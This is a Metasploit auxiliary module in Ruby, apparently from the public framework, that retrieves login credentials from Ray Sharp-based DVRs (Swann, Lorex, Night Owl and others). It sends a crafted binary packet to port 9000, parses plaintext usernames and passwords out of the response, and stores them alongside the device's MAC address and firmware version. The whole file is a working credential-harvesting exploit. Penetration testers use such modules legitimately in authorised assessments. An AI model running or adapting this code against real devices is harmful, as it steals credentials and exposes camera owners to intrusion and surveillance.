Ray Sharp DVR Password Retriever

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Ray Sharp DVR Password Retriever',
      'Description' => %q{
          This module takes advantage of a protocol design issue with the
        Ray Sharp based DVR systems. It is possible to retrieve the username and
        password through the TCP service running on port 9000. Other brands using
        this platform and exposing the same issue may include Swann, Lorex,
        Night Owl, Zmodo, URMET, and KGuard Security.
      },
      'Author'      =>
        [
          'someluser', # Python script
          'hdm'        # Metasploit module
        ],
      'References'  =>
        [
          [ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]
        ],
      'License'     => MSF_LICENSE
    )

    register_options( [ Opt::RPORT(9000) ])
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run_host(ip)
    req =
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +
      ( "\x00" * 475 )

    connect
    sock.put(req)

    buf = ""
    begin
      # Pull data until the socket closes or we time out
      Timeout.timeout(15) do
        loop do
          res = sock.get_once(-1, 1)
          buf << res if res
        end
      end
    rescue ::Timeout::Error
    rescue ::EOFError
    end

    disconnect

    info = ""
    mac  = nil
    ver  = nil

    creds = {}

    buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|
      # Make sure the two passwords match
      next unless cred[1] == cred[2]
      creds[cred[0]] = cred[1]
    end

    if creds.keys.length > 0
      creds.keys.sort.each do |user|
        pass = creds[user]
        report_cred(
          ip: rhost,
          port: rport,
          service_name: 'dvr',
          user: user,
          password: pass,
          proof: pass
        )
        info << "(user='#{user}' pass='#{pass}') "
      end
    end

    # Look for MAC address
    if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi
      mac = $1
    end

    # Look for version
    if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m
      ver = $1
    end

    info << "mac=#{mac} " if mac
    info << "version=#{ver} " if ver

    return unless (creds.keys.length > 0 or mac or ver)

    report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)
    print_good("#{rhost}:#{rport} #{info}")
  end
end